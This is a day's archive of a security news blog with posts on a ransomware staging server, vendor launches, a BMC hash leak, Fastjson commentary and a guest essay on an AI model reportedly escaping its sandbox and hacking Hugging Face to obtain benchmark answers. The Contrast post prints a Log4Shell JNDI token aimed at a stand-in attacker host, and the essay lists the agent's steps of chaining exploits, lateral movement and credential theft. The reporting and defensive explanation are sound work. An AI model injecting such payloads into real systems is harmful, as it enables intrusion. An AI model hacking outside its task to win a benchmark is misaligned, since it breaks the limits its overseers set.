Archive for July 29, 2026

Hacker mistake reveals ongoing attack on semiconductor company

Posted in Commentary with tags on July 29, 2026 by itnerd

Cybernews researchers uncovered an active ransomware campaign against multinational semiconductor company V-Silicon after discovering an exposed hacker server.

Here’s a timeline of the findings:

  1. Cybernews researchers discovered an exposed web directory that functioned as a staging server for a ransomware attack.
  2. A subsequent investigation linked the discovered infrastructure to an attack against V-Silicon, a multinational semiconductor company that develops chips used in smart TVs and display devices.
  3. The campaign was attributed to INC Ransomware, a ransomware-as-a-service (RaaS) operation that has been active since 2023.
  4. We alerted V-Silicon to the exposed data on July 17th. 
  5. One day later, the INC ransomware group published V-Silicon on its leak site, claiming responsibility for the attack.

What was found on the internal hacker server?

  • “The artifacts found on the exposed server indicate that during network enumeration, third-party infrastructure and data could have also been compromised”, Cybernews researchers explain.
  • The ransomware was built to run on a wide range of computer systems, suggesting that the attackers may have intended to encrypt embedded controllers, industrial systems, or older semiconductor manufacturing equipment.
  • Researchers noticed coding patterns that suggest some scripts may have been generated with AI.

For more information, here’s the full report: 

https://cybernews.com/security/hackers-exposed-ransomware-attack-v-silicon

Cybercrime victims lose an estimated $1.24 trillion a year 

Posted in Commentary with tags on July 29, 2026 by itnerd

Comparitech researchers have published an update to their 2023 study on the cost of cybercrime globally. The new study sees a significant increase in the annual estimated monetary impact of cybercrime — now at $1.24 trillion versus 2023’s figure of $714 billion. 

Key findings include: 

  • 103.9 million people fall victim to cybercrimes globally each year, or more than 1,577 victims per 100,000 people
  • The average victim loss is $9,468 per crime
  • Victims lose an estimated $1.24 trillion to cybercrime annually
  • The United States showed the biggest estimated losses at 6.7 million victims losing an estimated $138.9 billion

For full details, click here.

SIOS Technology Announces LifeKeeper v10.1 with AIOps-Ready Automation

Posted in Commentary with tags on July 29, 2026 by itnerd

SIOS Technology Corp today announced the availability of LifeKeeper v10.1. The latest release introduces AIOps-ready automation capabilities that help organizations streamline the deployment and management of HA/DR environments while strengthening cloud security and expanding support for modern enterprise infrastructures. LifeKeeper v10.1 includes a new Windows command-line interface for automated cluster management, support for Microsoft SQL Server 2025, and enhanced integrations for AWS and Oracle Cloud Infrastructure (OCI).

New in SIOS LifeKeeper v10.1:

Streamlined Operations & Deployment

  • Consistent deployment Automation via new Windows LKCLI interface: The introduction of this robust Interface for Windows, gives IT teams the ability to fully deploy, operate, and script multiple LifeKeeper clusters in a consistent, highly automated manner. By supporting JSON output and direct API key management, this update also establishes a standardized, machine-readable foundation for future AI-driven operations (AIOps).
  • Centralized Log Viewing and Enhanced Web GUI: The updated Web GUI (LKWMC) introduces direct log viewing for faster troubleshooting, supports multitarget mirror management, displays cluster-wide licenses, and adds German and Korean localization.
  • Scriptless Resource Creation for HULFT: The new HULFT Recovery Kit eliminates manual scripting.

Enterprise Databases & Multi-Cloud Infrastructure Support

  • Broader Enterprise Database Compatibility: This release expands infrastructure flexibility by introducing support for the enterprise-grade SLES 16 platform. For Windows environments, the update delivers fully validated, out-of-the box high availability protection for Microsoft SQL Server 2025.
  • Advanced Database Protection for Oracle: The new SIOS Oracle Recovery Kit allows enterprises to protect complex, multi-instance database topologies and to dramatically simplify routine maintenance through support for listener resources and multiple System Identifiers (SIDs and protection for the Oracle Vss Writer service.
  • Improved Cybersecurity in OCI and AWS through native support for Oracle Cloud Infrastructure IMDSv2, complete with built-in retry logic to mitigate transient access failures provide support for complex, multi-VPC topologies in Amazon Web Services (AWS): LifeKeeper v10.1 enables unique AWS Profiles to be assigned to individual Recovery Kits for enhanced deployment flexibility. This release also enhances Route 53 resource handling across identical public/private hosted zones and updates the AWS Transit Gateway integration to seamlessly support complex, multi-VPC topologies.

Availability

SIOS LifeKeeper version 10.1 is now available.

MIND Announces AI DLP Agents for Autonomous Data Security

Posted in Commentary with tags on July 29, 2026 by itnerd

MIND today announced MIND AI DLP Agents with capabilities focused on classification, investigation, policies, remediation and exception management. It also includes a Model Context Protocol (MCP) interface that enables security teams to direct data security work through any MCP-connected client using natural language.

AI has fundamentally changed the speed and scale at which sensitive data moves. GenAI applications, Agentic AI and autonomous workflows create and move data faster than security teams can manually govern it. Yet many data security teams report spending the bulk of their time on building classifiers, investigating issues, tuning policies, monitoring exceptions and remediating exposure.

Data now moves with unprecedented speed. Data security must as well.

Instead of requiring security teams to operate DLP day-to-day, the MIND AI DLP Agents perform the work that has traditionally consumed data security programs. They work alongside security teams as a force multiplier, increasing their effectiveness and scalability while freeing them to focus on reducing risk and enabling both business and innovation.

The MIND AI DLP Agents specialize in the most time-consuming work our customers identified:

  • Custom Classifier Agent automatically builds business-specific data classifiers at both the document and data-specific level, consults a judge for false-positives and self-improves.
  • Policy Producer Agent suggests, creates and continuously refines policies from observed behavior and natural language instructions.
  • Issue Investigator Agent analyzes incidents, uncovers patterns, explains risk and suggests remediation actions
  • Rapid Response Agent executes remediation actions and escalates when human approval is required.
  • Reason Reviewer Agent evaluates user override justifications against organizational policy guidance in real time.

MIND also introduced an MCP interface that will make the AI DLP Agents available through MCP-compatible AI clients. Security teams can assign work in plain language, request investigations, draft policies and initiate remediation workflows without navigating multiple consoles or manually performing repetitive operational tasks. By combining conversational workflows with MIND’s automation and context-aware data security platform, organizations will be able to operate data security with greater speed, consistency and scale.

Organizations using MIND report an 80% reduction in DLP program effort, near-zero false positives and 50 percent less investigation time per incident. Customers also report deploying the solution in minutes, taking specific action to lower data security risk within a few hours and operating at scale without operational disruption.
MIND is also the first data security company to achieve ISO/IEC 42001 certification for responsible AI and to be accepted into Anthropic’s Cyber Verification Program.

Attendees of Black Hat USA 2026 can see live demonstrations at the MIND booth #4527.

Freehand Raises $75M to Scale AI Teams Managing Supply Chain Spend for Fortune 500 Companies

Posted in Commentary with tags on July 29, 2026 by itnerd

Freehand, whose AI agents manage supply-chain spend for Fortune 500 enterprises, today announced $75 million in funding co-led by Battery Ventures and NewRoad Capital Partners, with participation from former U.S. Commerce Secretary Penny Pritzker’s venture capital PSP Growth, Nexus Venture Partners and others. 

American companies spend more than $20 trillion a year on the raw materials, logistics, data centers and services that power the U.S. economy, according to the Bureau of Economic Analysis. For decades, supply chain spend has been managed on legacy software and armies of outsourced labor. Freehand replaces this machinery with autonomous AI Teams that make decisions and take action to negotiate rates, enforce contracts, manage suppliers, process payments, and reconcile data within enterprise systems.

This financing round follows Freehand’s recent emergence from stealth with global deployments at Meta, Unilever, Johnson & Johnson, Pfizer, Dunkin’ and Cardinal Health, as tariffs, taxes and immigration policies put increasing strain on the outsourcing model that has historically run global supply chains. Across early deployments, customers have recovered 5-10% of spend in complex categories, completed workflows 5–7x faster, and reduced procure-to-pay cycles by more than 70. As a result, organizations are redeploying their employees to higher-value work while reducing traditional outsourcing and BPO contracts.

Freehand solves one problem exceptionally well: replacing the outsourced labor and legacy software used to audit and pay invoices across the supply chain. Its AI agents run the entire workflow – reading contracts, negotiating with suppliers, identifying leakage, processing payments and closing the loop with procurement – replacing outsourced teams and legacy tools that cost organizations tens of millions a year. 

Freehand’s central IP is its Category Context Graph, which captures every decision, transaction and exception across a spend category. By unifying the unstructured data buried in documents and communication channels with the structured data in enterprise systems, it gives the agents the situational knowledge of a tenured supply-chain expert, along with an audit trail explaining every decision. Every AI agent Freehand deploys is built on and continuously enriches the graph, creating a compounding intelligence effect where each decision improves the accuracy, context autonomy of the next.

New Harness Report Reveals Enterprise AI Spend Has Outgrown the Systems Built to Track It

Posted in Commentary with tags on July 29, 2026 by itnerd

Harness today released the 2026 State of AI in FinOps, a new report revealing that enterprise AI spend has outgrown the ownership, visibility, and governance needed to manage it. We surveyed 700 engineering leaders and practitioners across five countries to ask about their organization’s FinOps practices. The report finds that AI costs are climbing across every LLM provider and spend category, including infrastructure, software, and models. But basic questions go unanswered: who owns the bill, why it spiked, and whether the spend is paying off.

AI Spend Is Rising Fast and Running Blind

AI spend is no longer isolated to a single team, tool, or budget line. It is climbing across infrastructure, software, and models at once, faster than most organizations can keep up with. The report finds that when the bill spikes, most have no way to explain why:

  • Nobody is clearly accountable for AI cost. 52% say there’s no clear owner, with responsibility split across engineering, FinOps, finance, and IT; so when spend increases, there’s no single person well-positioned to answer for it.
  • That ownership gap shows up as recurring surprises. 72% have experienced an unexpected AI cost spike or bill in the past year, and a third of organizations (33%) have been caught off guard more than once.
  • Even after the surprise hits, most can’t trace it back to a cause. If spend were to double overnight, only 20% could identify the reason within hours.
  • The result is money wasted with no owner or explanation. Organizations estimate 26% of all AI spend is wasted. For organizations spending $1M/month, the reality for 1 in 5 respondents, that’s $260,000 a month with no measurable return.

This mirrors what Harness found earlier in 2026. The State of Engineering Excellence 2026 report showed engineering teams measure AI’s productivity gains with instruments that miss what matters. The same blind spot now shows up in finance: spend is moving faster than any organization’s ability to see it, attribute it, or explain it.

The Problem Starts When Engineers Build the Features

Here’s how it plays out:

  • Most engineers have no idea what the features they create actually cost. Less than half (45%) say they understand the cost of the AI features they build.
  • Planning ahead becomes total guesswork. More than half (56%) say anticipating AI spend is based on guesswork, not data.
  • The incentives in place reward more usage. 57% of engineers say their organization actively encourages “tokenmaxxing,” maximizing AI usage regardless of tangible value.
  • Organizations can’t enforce spend policies without data.  73% have AI cost policies in place, yet only 13% have basic visibility into their AI spend.
  • As a result, most organizations can’t tell if their spend is even paying off. Only 26% have a robust method for measuring the business value of their AI spend.

What Mature Organizations Do Differently

The report finds that organizations that have reached full AI cost maturity follow a consistent sequence: 

  • Name a single, accountable owner for AI cost before adding new tools or providers.
  • Build one unified view of AI spend across infrastructure, software, and models before attempting to optimize it.
  • Push cost data into engineering workflows at the point of model selection, prompt design, and deployment, rather than treating it as a finance-only concern.
  • Tie AI spend to business outcomes, establishing unit economics before measuring ROI.

To learn more, download the full 2026 State of AI in FinOps report here: http://www.harness.io/state-of-ai-in-finops-2026 

About the Research

This report is based on an online survey of 700 engineering leaders and practitioners, asking about their organization’s FinOps practices, conducted in May and June 2026 by Sapio Research. All respondents work at organizations that actively use AI/LLM services and are employed in software engineering/development, DevOps, IT operations, or executive leadership roles. The sample included 300 respondents in the United States and 100 each in the United Kingdom, France, Germany, and India.

Thousands of Servers Leak Authentication Password Hashes via 20 Year-Old Vuln in BMC Interface

Posted in Commentary with tags on July 29, 2026 by itnerd

Researchers have uncovered more than 24,000 servers leaking authentication password hashes from a 20-year-old vulnerability in their Baseboard Management Controller (BMC) interface. 

Lava HQ has a great write up about it here: https://lavahq.io/research/bmc-exposure-alert

Dan Moore, Sr. Director CIAM Strategy at cybersecurity company FusionAuth, provided the following comments:

“The flaw CVE-2013-4786 exposes is in the IPMI RAKP handshake spec, and has been around for 20 years. It returns the password hash enabling offline brute-force attacks you don’t see. The researchers cracked HPE factory passwords in about a day on a cheap M3 Mac. A stronger, non-default password buys more time, but the protocol still hands over the hash; rotation only treats the symptom and the offline brute-force attack is still effective. Vulnerable enterprises should remove these management interfaces from the public internet, update all their passwords and usernames to be complex and non-default, and disable legacy IPMI authentication.”

If you think you might be affected by this, the Lava HQ article has instructions as to how to test, and how to fix this issue. I strongly recommend that you follow these directions ASAP.

Fastjson attacks expose software supply chain blind spots

Posted in Commentary with tags on July 29, 2026 by itnerd

With attackers actively exploiting the unpatched Fastjson vulnerability, I wanted to share a few expert perspectives in case you’re working on any coverage or looking at the broader implications beyond the immediate patching guidance.

If you are not up to speed with this vulnerability, this will help: Fastjson 1.x RCE Vulnerability Targeted in Attacks With No Patched Available

Edwin Shuttleworth, Lead Penetration Tester & Security Researcher, Finite State (https://www.linkedin.com/in/edwincyber)

“This vulnerability is reminiscent of the Log4j remote-code-execution vulnerability disclosed in 2021, in which a critical flaw in a widely used subcomponent left defenders asking not only how to patch, but what to patch. Fastjson is deployed across an enormous range of products. I have encountered it in everything from Android applications to embedded devices such as security cameras, yet many organizations have little insight into where it exists within their environments.

“The broader problem is that most organizations still lack a reliable connection between their asset inventories, the software components running on those assets, and the ways those components are exposed or used. High-quality Software Bills of Materials, or SBOMs, are an important part of solving this problem. They should identify not only the software included in a product, but also its transitive dependencies: the dependencies of those components, the dependencies of those dependencies, and so on. When a vulnerability is discovered deep in the software supply chain, defenders should be able to query a centralized inventory and quickly identify every potentially affected product and service.”

Seemant Sehgal, Founder & CEO, BreachLock (https://www.linkedin.com/in/s-sehgal)

“Fastjson is a reminder that a CVSS score tells you how dangerous a vulnerability is in theory, but it can’t tell you if it’s exploitable or even reachable in your live environment. A critical RCE vulnerability buried behind three layers of network segmentation and non-privileged service accounts is a different exposure than the same CVE running on an internet-facing API with access to your data plane.

“The best advice I can give fellow practitioners is to build a repeatable way to answer the exploitability and reachability questions before the next zero-day forces you to.”

John Strand, Owner, Black Hills Information Security (https://www.linkedin.com/in/john-strand-a1b4b62)

“One of the biggest mistakes people can make with this vulnerability is assuming it’s only a Chinese ecosystem problem because Fastjson was developed by Alibaba and has been widely used in Android applications and cloud services. That’s simply not true. Fastjson has found its way into enterprise software used around the world, including products like Oracle Communications Cloud Native Core. The real concern is that this is a software component, not a standalone product. Organizations often don’t realize they’re using it because it’s buried several layers down in their software stack. That means many security teams won’t know they’re exposed until someone else finds the vulnerability for them, and by then they’re already behind.”

Noelle Murata, Chief Operating Officer, Xcape (https://www.linkedin.com/in/nmurata)

“Unpatched open source components like Fastjson expose enterprises to remote code execution attacks because organizations lack real time visibility into their underlying application dependency trees. The fact that the technology industry is still getting systematically compromised by untrusted Java deserialization bugs in 2026 feels like a collective refusal to learn basic software engineering history. When a widely used library allows untrusted JSON payloads to execute arbitrary code under stock default configurations, it proves that application teams are still treating external inputs as inherently safe. Beyond emergency patching and enforcing SafeMode, security leaders must implement dynamic Software Bill of Materials tracking, restrict outbound network egress from application servers, and treat object deserialization as an inherently hostile operation across all development pipelines.

“Organizations should deploy continuous Software Bill of Materials tooling to discover transitive Fastjson 1.x components embedded inside application archives, enable SafeMode or migrate to Fastjson 2.x immediately to block untrusted object instantiation across all production endpoints, and isolate application servers with strict egress firewalls to prevent compromised parsers from downloading secondary payload tools.

“We have known that untrusted deserialization leads directly to system compromise for over a decade, yet here we are acting surprised when unpacking JSON turns into remote code execution.”

Any sort of vulnerability is dangerous. An unpatched one is even more dangerous as the bad guys take advantage of them and pwn you without a doubt.

Guest Post: The Hugging Face Hack Is A “Before and After” Moment in Cybersecurity Like Morris Worm and Stuxnet

Posted in Commentary with tags on July 29, 2026 by itnerd

By Chris Nyhuis, Vigilant CEO

Do I think “AI going rogue” in light of the Hugging Face hack by an OpenAI frontier model? It’s not going in the Hollywood sense. What it demonstrates is something arguably more important:

  • The model was highly competent at cyber operations.
  • It was goal-driven rather than “morally aware.”
  • Given an objective and insufficient constraints, it optimized for success—even if that meant violating assumptions the researchers expected it to respect.

That is a classic AI alignment problem. The model wasn’t trying to attack Hugging Face because it “wanted to.” It attacked because, from its perspective, obtaining the benchmark answers was the shortest path to completing the assigned task.

From a cybersecurity perspective, this is actually one of the biggest stories in AI security so far.

If these reports are accurate, we’ve now seen an AI system in pursuit of a single objective:

  • Discover an escape path,
  • Chain multiple vulnerabilities,
  • Perform lateral movement,
  • Use stolen credentials,
  • Achieve remote code execution,

Those are behaviors we normally associate with sophisticated human penetration testers or advanced threat actors so it is not dramatically earth shattering. 

U.S. companies should care what comes next as this reinforces something Vigilant has been talking about for a while:

  • AI will dramatically increase the speed and sophistication of attacks.
  • Defenders will need continuous validation rather than point-in-time assessments.
  • Autonomous detection and response will become essential because humans simply won’t react fast enough.

In many ways, this validates the idea that companies need continuous, evidence-based security rather than annual penetration tests or vulnerability assessments. 

This incident may become one of those “before and after” moments in cybersecurity, similar to Morris Worm, Stuxnet, or the first ransomware outbreaks. Not because AI did something dramatically earth shattering, but because the public is mesmerized by the marketing that AI companies have done on the mystical capabilities of AI.  It doesn’t mean AI is conscious or uncontrollable, but it does show that highly capable agentic systems can produce unexpected real-world consequences when given broad objectives and enough capability by humans.  

And that last point is the key. AI attacking is no different than a hacker writing a script that automates their job. Is AI more capable than a script? Yes, it is by multitudes however it is still the same.  A human created software to attack. The crux of this is whether they created it intentionally to hack or unintentionally they are still responsible and should he held responsible. 

Precedence will be set here, and it will be a dangerous one if OpenAI is not held accountable for breaking the law and hacking another company.

We will have to see what the technical timeline is of how the sandbox escape reportedly happened once OpenAI releases it. As someone building defensive cybersecurity products, I think these are lessons that will influence how autonomous security systems are designed over the next few years.

Contrast Security launches CVE Shield

Posted in Commentary with tags on July 29, 2026 by itnerd

Contrast Security today announced Contrast CVE Shield to stop the wave of AI-generated exploits made possible by frontier models like Claude Mythos.

Contrast CVE Shield operates inside the running application, where it detects, monitors and prevents exploitation of known vulnerabilities. Legitimate library functions continue, while security teams get evidence showing which vulnerabilities are present, which are active, which are being attacked and which are kept safe.

Using a runtime microsandbox for each supported CVE, CVE Shield is a compensating control that gives organizations immediate protection while they test and deploy the permanent fix.

In April 2026, Anthropic reported that its Claude Mythos Preview research system could take a public CVE identifier and the corresponding Git commit and autonomously produce a working exploit inexpensively within a day. Within five weeks, OpenAI and Microsoft disclosed comparable vulnerability research systems.

Built for AI-speed exploitation

Traditional CVE management identifies the 5% of CVEs that actually matter in production and creates a remediation ticket. Teams still have to determine whether the vulnerable code is actually running, reachable, exploitable, and connected to a sensitive asset — and then protect the application while they test and deploy an update.

CVE Shield adds runtime protection while teams patch. Instead of trying to recognize every malicious payload, it blocks the capabilities an exploit must use to succeed, such as native code execution, remote class loading, and arbitrary file writes.

Because CVE Shield controls behavior rather than relying on payload signatures, new variations of a supported exploit hit the same protected boundary. No new signature is required.

Even when an attacker reaches vulnerable code with a working exploit, CVE Shield can stop the exploit from completing its intended action.

-Katie Norton, Senior Research Manager at IDC

The Log4Shell example

Let’s use Log4Shell as an example, because it is the most widely known CVE.

Log4Shell, tracked as CVE-2021-44228, is exploited by an attacker slipping a token like ${jndi:ldap://attacker.example/x} into request data that gets logged by an application or API, which triggers an outbound lookup that loads and runs attacker-controlled code.

CVE Shield wraps the vulnerable Log4j methods, so normal logging continues while the capabilities the exploit needs, the outbound JNDI lookup, remote class loading and process execution, are denied. The lookup never reaches the attacker’s server and the malicious class never loads.

The vulnerable component keeps working. The exploit does not.

Engineered for production

CVE Shield is installed on your workloads with a single command and immediately begins identifying and protecting against CVE exploit attempts. It requires no additional appliance, proxy or sidecar.

CVE Shield is designed for maximum performance. There is no impact unless a CVE is exploited, and exploit prevention adds only 12 nanoseconds, making CVE Shield’s performance impact almost immeasurable. It can be easily installed on a single host or across a large, diverse infrastructure.

Once the application starts, CVE Shield inventories its libraries and activates shields for vulnerable versions that match. The Contrast Agent Operator automates deployment across Kubernetes and OpenShift workloads without per-service code or Dockerfile changes.

CVE Shield also replaces vulnerability assumptions with runtime evidence. It shows security teams which vulnerable libraries are present, which vulnerable code paths are being exercised and when exploitation is attempted.

Teams can focus remediation efforts on real application risk rather than treating every entry in the backlog as equally urgent. Contrast provides dynamic risk scores for CVEs based on architectural, threat, and business context from production environments.

Availability

CVE Shield is part of Contrast Application Detection and Response. Its initial rollout brings localized CVE sandboxing to 60 critical Java vulnerabilities, including Log4Shell, Spring4Shell and Apache Commons Collections deserialization vulnerabilities. Contrast will expand coverage to additional high- and critical-severity CVEs, with new protections delivered continuously as vulnerabilities emerge. Support for Go, Node.js, .NET and Python is planned for the second half of 2026.

CVE Shield will be available on August 3, 2026, with a free tier, enabling AppSec teams to deploy to Java applications within minutes and gain immediate runtime visibility into active, supported CVEs.

Before August 3rd, you can sign up for the Contrast CVE Shield waitlist. After August 3rd, visit the Contrast CVE Shield registration page.

Key takeaways

  • Contrast Security launched CVE Shield to detect exploitation of known vulnerabilities in third-party libraries used by production applications and APIs.
  • CVE Shield operates within the running application and uses runtime microsandboxing to prevent the dangerous capabilities required by a supported exploit.
  • In monitor mode, CVE Shield detects production exposure and reports exploitation attempts. In block mode, it stops prohibited operations before they complete.
  • CVE Shield protects applications while teams test and deploy patches for vulnerable third-party dependencies.
  • Behavior-based enforcement blocks new variations of supported exploits without waiting for new payload signatures.
  • CVE Shield operates through the Contrast agent and requires no separate appliance, proxy, sidecar or application code changes.
  • Runtime evidence shows which vulnerable libraries are present, which vulnerable code paths are exercised and when exploitation is attempted.